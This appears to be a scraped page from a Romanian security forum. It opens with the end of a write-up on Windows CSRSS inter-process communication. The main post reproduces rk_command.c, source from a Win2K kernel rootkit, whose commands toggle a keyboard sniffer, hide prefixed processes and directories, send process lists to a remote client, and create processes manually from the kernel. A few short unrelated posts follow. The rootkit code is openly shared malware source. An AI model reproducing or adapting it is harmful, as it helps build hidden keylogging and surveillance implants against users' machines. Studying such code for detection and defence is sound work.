CsrCaptureMessageString(LPVOID CaptureBuffer, PCSTR String, ULONG Length, ULONG MaximumLength, PSTRING OutputString) Similar to the previous routine – allocates the requested memory space, and optionally copies a specific string into the new allocation. [*]After the Capture Buffer is allocated and initialized (all N memory blocks are in use), it’s time to send the message, already! This time, we fill in the second parameter of the CsrClientCallServer routine with our CaptureBuffer pointer. When the following call is issued: view sourceprint? 1.CsrClientCallServer(&m,CaptureBuffer,API_NUMBER,sizeof(m)-sizeof(_PORT_HEADER)); … and the 2nd argument is non-zero, a couple of interesting conversions are taking place in the above routine. This is the time when the CsrPortMemoryRemoteDelta value comes into play. First of all, the data-pointers residing in the CSR_MESSAGE structure (&m) are translated to a server-compatible virtual address, by adding the RemoteDelta. From now on, the m.FirstPointer, m.SecondPointer, …, m.FifthPointer are invalid in the context of the local process, but are correct in terms of server-side memory mapping. view sourceprint? 1.for( UINT i=0;i<PointerCount;i++ ) 2.*CaptureBuffer.Pointers += CsrPortMemoryRemoteDelta; Furthermore, the CaptureBuffer.Pointers[] array is altered, using the following pseudo-code: view sourceprint? 1.for( UINT i=0;i<PointerCount;i++ ) 2.CaptureBuffer.Pointers -= &m; So, to sum everything up – after the address/offset translation is performed, we’ve got the following connection between the LPC message and shared buffer: m.CaptureBuffer points to the server’s virtual address of the CaptureBuffer base, CaptureBuffer->Pointers[] contain the relative offsets of the data pointers, i.e. (&m+CaptureBuffer->Pointers[0]) is the pointer to the first capture buffer, (&m+CaptureBuffer->Pointers[n]) points to the server’s virtual address of the n-th capture buffer. [*]Or, the same connection chain illustrated graphically looks like this: [*]When both the local CSR_MESSAGE and shared CaptureBuffer structures are properly modified, ntdll!CsrClientCallServer calls the standard NtRequestWaitReplyPort LPC function, and waits for an optional output. When the native calls returns, all of the modified struct fields are restored to their original values, so that the user (or, more likely – win32 APIs) can easily read the error code and optional subsytem’s output. Due to the fact that the VA- and offset-related conversions are non-trivial to be explained in words, I strongly advice you to check the information presented in this post by yourself. This should give you even better insight at how the cross-process data exchange reliability is actually achieved. Sending What’s been already described – if one wants to make use of large data transfers, he must allocate a CaptureBuffer, specifying the number of memory blocks and the total byte count, fill it with the desired data (using CsrCaptureMessageBuffer or CsrCaptureMessageString), and call the CsrClientCallServer, supplying an LPC structure, (containing the data-pointers into CaptureBuffer) as the first parameter, and the CaptureBuffer itself – as the second one. The rest of the job is up to ntdll. Please keep in mind that one CaptureBuffer can be technically utilized only once – and therefore, it should be freed after its first (and last) usage, using CsrFreeCaptureBuffer. Examples In this particular case, every CsrApi handler using the CsrValidateMessageBuffer import makes a good example, let it be: winsrv!SrvAllocConsole winsrv!SrvSetConsoleTitle winsrv!SrvAddConsoleAlias … and numerous other functions, which are pretty easy to find by oneself. Conclusion This post entry aimed to briefly present the “Native Csr Interface” – both in terms of the functions, structures and mechanisms playing some role in the Inter-Process Communication. As you must have noted, only client-side perspective has been described here, as the precise way of CSRSS receiving, handling and responding to the request is a subject for another, long article (or two). And so – if you feel like some important Csr~ routines should have been described or mentioned here – let me know. On the other hand, I am going to cover the remaining, smaller functions (such as CsrGetProcessId) in one, separate post called CSRSS Tips & Tricks. Watch out for (part 3/3) and don’t hesitate to leave constructive comments! Cheers! Sursa 1: Windows CSRSS Write Up: Inter-process Communication (part 1/3) | j00ru//vx tech blog Sursa 2: Windows CSRSS Write Up: Inter-process Communication (part 2/3) | j00ru//vx tech blog
  21. Nytro

    rk_command.c

    rk_command.c #include "rk_driver.h" #include "rk_command.h" #include "rk_defense.h" #include "rk_process.h" BOOL g_hide_directories = TRUE; BOOL g_hide_proc = TRUE; BOOL g_sniff_keys = FALSE; struct _csrmsg { PORT_MESSAGE PortMessage; struct CSRSS_MESSAGE CsrssMessage; PROCESS_INFORMATION ProcessInformation; CLIENT_ID Debugger; ULONG CreationFlags; ULONG VdmInfo[2]; } csrmsg; //////////////////////////////////////////////////////////////////// // these functions are dynamically linked out of NTDLL since // they are not exported. //////////////////////////////////////////////////////////////////// typedef NTSTATUS (*CsrClientCallServer) ( IN PVOID Message, IN PVOID, IN ULONG OpCode, IN ULONG Size ); typedef NTSTATUS (*ZwWriteVirtualMemory) ( IN HANDLE hProcess, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG BytesToWrite, OUT PULONG BytesWritten ); //typedef NTSTATUS (*GetEnvironmentStringsW) ( // ... //); typedef NTSTATUS (*RtlDestroyProcessParameters) ( IN PPROCESS_PARAMETERS ProcessParameters ); typedef NTSTATUS (*RtlCreateProcessParameters) ( OUT PPROCESS_PARAMETERS *ProcessParameters, IN PUNICODE_STRING ImageFile, IN PUNICODE_STRING DllPath OPTIONAL, IN PUNICODE_STRING CurrentDirectory OPTIONAL, IN PUNICODE_STRING CommandLine OPTIONAL, IN ULONG CreationFlags, IN PUNICODE_STRING WindowTitle OPTIONAL, IN PUNICODE_STRING Desktop OPTIONAL, IN PUNICODE_STRING Reserved OPTIONAL, IN PUNICODE_STRING Reserved2 OPTIONAL ); typedef NTSTATUS (*ZwResumeThread) ( IN HANDLE hThread, OUT PULONG pSuspendCount ); typedef NTSTATUS (*ZwProtectVirtualMemory) ( IN HANDLE hProcess, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG Protect, OUT PULONG OldProtect ); typedef NTSTATUS (*ZwCreateProcess) ( OUT PHANDLE phProcess, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE hParentProcess, IN BOOLEAN bInheritParentHandles, IN HANDLE hSection OPTIONAL, IN HANDLE hDebugPort OPTIONAL, IN HANDLE hExceptionPort OPTIONAL ); typedef NTSTATUS (*ZwOpenFile) ( OUT PHANDLE phFile, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK pIoStatusBlock, IN ULONG ShareMode, IN ULONG OpenMode ); //////////////////////////////////////////////////////////////////// // commands passed from the kernel shell are handled here // //////////////////////////////////////////////////////////////////// void process_rootkit_command(char *theCommand) { char _c[256]; BOOL return_prompt = TRUE; sprintf(_c, "rootkit: process_rootkit_command %s, len %d", theCommand, strlen(theCommand)); DbgPrint(_c); if(0 == strlen(theCommand)) { //the user pressed return, which is meant to break out //of sniffer-modes - so make sure all sniffers are off if(g_sniff_keys) { char _t[] = "------------------------------------------\r\nsniffkeys is now OFF.\r\n"; g_sniff_keys = FALSE; ReturnDataToClient(_t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'help' // return a help string //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "help")) { char _help[] = "Win2K Rootkit by the team rootkit.com\r\n" \ "Version 0.4 alpha\r\n" \ "------------------------------------------\r\n" \ "command description \r\n" \ "\r\n" \ "ps show proclist \r\n" \ "help this data \r\n" \ "buffertest debug output \r\n" \ "hidedir hide prefixed file/dir\r\n" \ "hideproc hide prefixed processes\r\n" \ "debugint (BSOD)fire int3 \r\n" \ "sniffkeys toggle keyboard sniffer\r\n" \ "echo <string> echo the given string\r\n" \ "\r\n*(BSOD) means Blue Screen of Death\r\n" \ "if a kernel debugger is not present!\r\n" \ "*'prefixed' means the process or filename\r\n" \ "starts with the letters '_root_'.\r\n" \ "\r\n"; ReturnDataToClient(_help, strlen(_help)); } //////////////////////////////////////////////////////////////// // Command: 'echo' 'string' // echo back the string, useful for rootkit patches that need // to send data to a connected client //////////////////////////////////////////////////////////////// else if(0 == memcmp(theCommand, "echo ", 5)) { int l = strlen(&theCommand[5]); if(l) { return_prompt=FALSE; ReturnDataToClient(&theCommand[5], l); } } //////////////////////////////////////////////////////////////// // Command: 'ps' // returns the process list running on the host //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "ps")) { command_get_proclist(); } //////////////////////////////////////////////////////////////// // Command: 'buffertest' // debug function causes a large number of packets to return // used to debug the TCP/IP stack functionality //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "buffertest")) { int count=0; for(count=0;count<100;count++) { int x; sprintf(_c, ".%d.", count); x = strlen(_c); ReturnDataToClient(_c, x); } } //////////////////////////////////////////////////////////////// // Command: 'sniffkeys' // toggles keyboard sniffer //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "sniffkeys")) { if(g_sniff_keys) { char _t[] = "keyboard sniffing now OFF\r\n"; g_sniff_keys = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "keyboard sniffing now ON\r\n------------------------------------------\r\n"; return_prompt=FALSE; g_sniff_keys = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hidedir' // toggles directory hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hidedir")) { if(g_hide_directories) { char _t[] = "directory prefix-hiding now OFF\r\n"; g_hide_directories = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "directory prefix-hiding now ON\r\n"; g_hide_directories = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hideproc' // toggles process hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hideproc")) { if(g_hide_proc) { char _t[] = "process prefix-hiding now OFF\r\n"; g_hide_proc = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "process prefix-hiding now ON\r\n"; g_hide_proc = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'debugint' // debug function causes a debug interrupt to fire // this will BSOD the machine unless a kernel debugger is // present. //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "debugint")) { __asm int 3 } else { char t[256]; sprintf(t, "error: unknown or malformed command %s\r\n", theCommand); ReturnDataToClient( t, strlen(t)); } if(return_prompt) //this is our prompt, an upside-down question-mark ¿ ReturnDataToClient("\xA8", 1); } /////////////////////////////////////////////////////////////////// // commands requested from kernel shell, many of these return // data to the connected client. /////////////////////////////////////////////////////////////////// // --[ command_get_proclist ]--------------------------- // utility routine, dump process list // should only be called at IRQL_PASSIVE // this will send a process list back to the connected // client over the TCP/IP session // ----------------------------------------------------- void command_get_proclist() { unsigned long n = 0x100; struct _SYSTEM_PROCESSES *p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(p) { struct _SYSTEM_PROCESSES *curr = NULL; // ------------------------------------------------------------------ // spin until our buffer is large enough to hold the results. // Information Class 5 is 'ProcessAndThreadsInformation' // ------------------------------------------------------------------ while(ZwQuerySystemInformation( 5, p, n, 0) == STATUS_INFO_LENGTH_MISMATCH) { ExFreePool(p); n *= 2; p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(NULL == p) { break; } } if(p) { curr = p; // ------------------------------------------------------------------------- // forward through all entries in an array of process structures // some processes will not have names. (System Idle, for example) // ------------------------------------------------------------------------- while(curr) { ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (200 > process_name.Length) ) { char _output[255]; char _pname[255]; int tslen = 0; memset(_pname, NULL, 255); memcpy(_pname, process_name.Buffer, process_name.Length); sprintf( _output, "%d\t%s\r\n", curr->ProcessId, _pname); tslen = strlen(_output); ReturnDataToClient(_output, tslen); } RtlFreeAnsiString(&process_name); if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } ExFreePool(p); } } } #if 1 /* _________________________________________________ . This function is intended to launch a WIN32 . process. So far, the process creation works. . We are actually building a real process - the . stumper right now is how to create the inital . thread - we can create the process, but it doesn't . >DO< anything until we start an initial thread! . So far we haven't figured out how to initialize . the thread context & stack for NtCreateThread(). . . Update Feb 3, trying to get this working again... . _________________________________________________ */ PVOID FindNT() { ULONG n; PULONG q; PSYSTEM_MODULE_INFORMATION p; PVOID ntdll = NULL; ULONG i; ZwQuerySystemInformation( 11, &n, 0, &n); //SystemModuleInformation q = (PULONG)ExAllocatePool(PagedPool, n); ZwQuerySystemInformation( 11, q, n * sizeof *q, 0); p = (PSYSTEM_MODULE_INFORMATION)(q+1); for(i=0; i < *q; i++) { if(0 == memcmp( p.ImageName + p.ModuleNameOffset, "ntdll.dll", 9)) { // we have a winner ntdll = p.Base; } } ExFreePool(p); return ntdll; } PVOID FindFunction(PVOID Base, PCSTR Name) { ULONG size; ULONG addr; ULONG i; PULONG functions; PULONG ordinals; PULONG names; PVOID func; PIMAGE_EXPORT_DIRECTORY exports; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)(Base); PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PCHAR)Base + dos->e_lfanew); PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; size = expdir->Size; addr = expdir->VirtualAddress; exports = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)Base + addr); functions = (PULONG)( (PCHAR)Base + exports->AddressOfFunctions); ordinals = (PULONG)( (PCHAR)Base + exports->AddressOfNameOrdinals); names = (PULONG)( (PCHAR)Base + exports->AddressOfNames); func = 0; for(i=0;i<exports->NumberOfNames;i++) { ULONG ord = ordinals; if(functions[ord] < addr || functions[ord] >= addr + size) { if(strcmp((PSTR)((PCHAR)Base + names), Name) == 0) func = (PCHAR)Base + functions[ord]; } } return func; } void InformCsrss( HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid) { memset(&csrmsg, NULL, sizeof(struct _csrmsg)); csrmsg.ProcessInformation.hProcess = hProcess; csrmsg.ProcessInformation.hThread = hThread; csrmsg.ProcessInformation.pid = pid; csrmsg.ProcessInformation.tid = tid; CsrClientCallServer( &csrmsg, 0, 0x10000, 0x24 ); } PWSTR CopyEnvironment(HANDLE hProcess) { PWSTR env = GetEnvironmentStringsW(); ULONG m; ULONG n; PVOID p = 0; for(n = 0; env[n] != 0; n += wcslen(env + n) + 1) ; n *= sizeof *env; m = n; ZwAllocateVirtualMemory(hProcess, &p, 0, &m, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, env, n, 0); return (PWSTR)p; } VOID CreateProcessParameters( HANDLE hProcess, PPEB Peb, PUNICODE_STRING ImageFile ) { PPROCESS_PARAMETERS pp; PVOID p = 0; ULONG n; RtlCreateProcessParameters( &pp, ImageFile, 0, 0, 0, 0, 0, 0, 0, 0); pp->Environment = CopyEnvironment(hProcess); n = pp->Size; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, pp, pp->Size, 0); ZwWriteVirtualMemory( hProcess, (PCHAR)(Peb) + 0x10, &p, sizeof p, 0); RtlDestroyProcessParameters(pp); } int exec(PUNICODE_STRING name) { HANDLE hProcess, hThread, hSection, hFile; OBJECT_ATTRIBUTES oa; IO_STATUS_BLOCK iosb; PROCESS_BASIC_INFORMATION pbi; SECTION_IMAGE_INFORMATION sii; USER_STACK stack = {0}; CONTEXT context = {CONTEXT_FULL}; CLIENT_ID cid; ULONG n; PVOID p; ULONG x; oa.Length = sizeof oa; oa.RootDirectory = 0; oa.ObjectName = name; oa.Attributes = OBJ_CASE_INSENSITIVE; ZwOpenFile( &hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SYNCHRONOUS_IO_NONALERT ); oa.ObjectName = 0; ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, 0x01000000, //SEC_IMAGE hFile); ZwClose(hFile); ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0); ZwQuerySection( hSection, SectionImageInformation, &sii, sizeof sii, 0); ZwClose(hSection); n = sii.StackReserve; ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); stack.ExpandableStackBase = (PCHAR)(stack.ExpandableStackBottom) + sii.StackReserve; stack.ExpandableStackLimit = (PCHAR)(stack.ExpandableStackBase) - sii.StackCommit; n = sii.StackCommit + PAGE_SIZE; p = (PCHAR)(stack.ExpandableStackBase) - n; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); n = PAGE_SIZE; ZwProtectVirtualMemory( hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x ); context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = (ULONG)(stack.ExpandableStackBase) - 4; context.Eip = (ULONG)(sii.EntryPoint); ZwCreateThread( &hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE); ZwQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof pbi, 0); CreateProcessParameters( hProcess, pbi.PebBaseAddress, name); InformCsrss(hProcess, hThread, (ULONG)(cid.UniqueProcess), (ULONG)(cid.UniqueThread)); ZwResumeThread(hThread, 0); ZwClose(hProcess); ZwClose(hThread); return (int)(cid.UniqueProcess); } void TestLaunchWin32Process() { UNICODE_STRING FileName; RtlInitUnicodeString(&FileName, L"\\??\\C:\\winnt\\system32\\calc.exe"); exec(&FileName); } #endif E o bucata dintr-un rootkit. Am postat pentru ca la final sunt niste lucruri interesante: crearea manuala a unui proces. Sursa:
  22. http://www.emag.ro/laptop-lenovo-essential-b5400-cu-procesor-intel-174-core-small-sup-tm-sup-small-i5-4200m-2-50ghz-haswell-full-hd-4gb-500gb-sshd-8gb-nvidia-geforce-820m-1gb-freedos-black-59416687/pd/DBJ8QBBBM/ ?
  23. La multi ani celor pe care ii cheama "Alexandru" din partea lu' "Lacrima lui Ovidiu"!
  24. Am testat si am primit email si pe Yahoo! si pe Gmail. Daca e vorba de un alt domeniu da-mi PM cu adresa de mail si verific. Nota: Mai ajung si in Spam.
×
×
  • Create New...